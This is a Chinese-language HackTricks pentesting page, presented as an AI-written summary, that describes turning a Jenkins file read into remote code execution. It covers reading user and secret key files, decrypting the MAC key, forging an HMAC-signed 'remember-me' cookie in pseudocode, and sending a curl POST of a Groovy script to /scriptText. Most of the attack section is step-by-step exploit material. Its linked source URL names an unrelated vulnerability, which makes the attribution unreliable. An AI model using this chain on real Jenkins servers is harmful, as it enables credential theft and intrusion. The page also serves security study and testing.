Jenkins Arbitrary File Read to RCE via "Remember Me"

学习和实践 AWS 黑客技术：HackTricks 培训 AWS 红队专家 (ARTE) 学习和实践 GCP 黑客技术：HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks

• 查看 订阅计划!

• 加入 💬 Discord 群组 或 Telegram 群组 或 关注 我们的 Twitter 🐦 @hacktricks_live.

• 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 分享黑客技巧。

在这篇博客文章中，可以找到将 Jenkins 中的本地文件包含漏洞转化为 RCE 的绝佳方法：https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/

这是一个 AI 创建的摘要，内容涉及如何利用任意 cookie 来获取 RCE，直到我有时间自己创建摘要为止：

攻击前提

• 功能要求： 必须启用“记住我”（默认设置）。

• 访问级别： 攻击者需要整体/读取权限。

• 秘密访问： 能够读取关键文件中的二进制和文本内容。

详细利用过程

第一步：数据收集

用户信息检索

• 访问每个用户的用户配置和秘密，从 $JENKINS_HOME/users/*.xml 收集：

• 用户名

• 用户种子

• 时间戳

• 密码哈希

密钥提取

• 提取用于签名 cookie 的加密密钥：

• 秘密密钥： $JENKINS_HOME/secret.key

• 主密钥： $JENKINS_HOME/secrets/master.key

• MAC 密钥文件： $JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac

第二步：Cookie 伪造

令牌准备

• 计算令牌过期时间：

tokenExpiryTime = currentServerTimeInMillis() + 3600000  // 当前时间加一小时

• 连接令牌数据：

token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey

MAC 密钥解密

• 解密 MAC 密钥文件：

key = toAes128Key(masterKey)  // 将主密钥转换为 AES128 密钥格式
decrypted = AES.decrypt(macFile, key)  // 解密 .mac 文件
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")

签名计算

• 计算 HMAC SHA256：

mac = HmacSHA256(token, macKey)  // 使用令牌和 MAC 密钥计算 HMAC
tokenSignature = bytesToHexString(mac)  // 将 MAC 转换为十六进制字符串

Cookie 编码

• 生成最终 Cookie：

cookie = base64.encode(username + ":" + tokenExpiryTime + ":" + tokenSignature)  // Base64 编码 cookie 数据

第三步：代码执行

会话认证

• 获取 CSRF 和会话令牌：

• 向 /crumbIssuer/api/json 发出请求以获取 Jenkins-Crumb。

• 从响应中捕获 JSESSIONID，该 ID 将与记住我 cookie 一起使用。

命令执行请求

• 发送带有 Groovy 脚本的 POST 请求：

curl -X POST "$JENKINS_URL/scriptText" \
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
--header "Jenkins-Crumb: $CRUMB" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "script=$SCRIPT"

• Groovy 脚本可用于在 Jenkins 环境中执行系统级命令或其他操作。

提供的示例 curl 命令演示了如何使用必要的头和 cookie 向 Jenkins 发出请求，以安全地执行任意代码。

学习和实践 AWS 黑客技术：HackTricks 培训 AWS 红队专家 (ARTE) 学习和实践 GCP 黑客技术：HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks

• 查看 订阅计划!

• 加入 💬 Discord 群组 或 Telegram 群组 或 关注 我们的 Twitter 🐦 @hacktricks_live.

• 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 分享黑客技巧。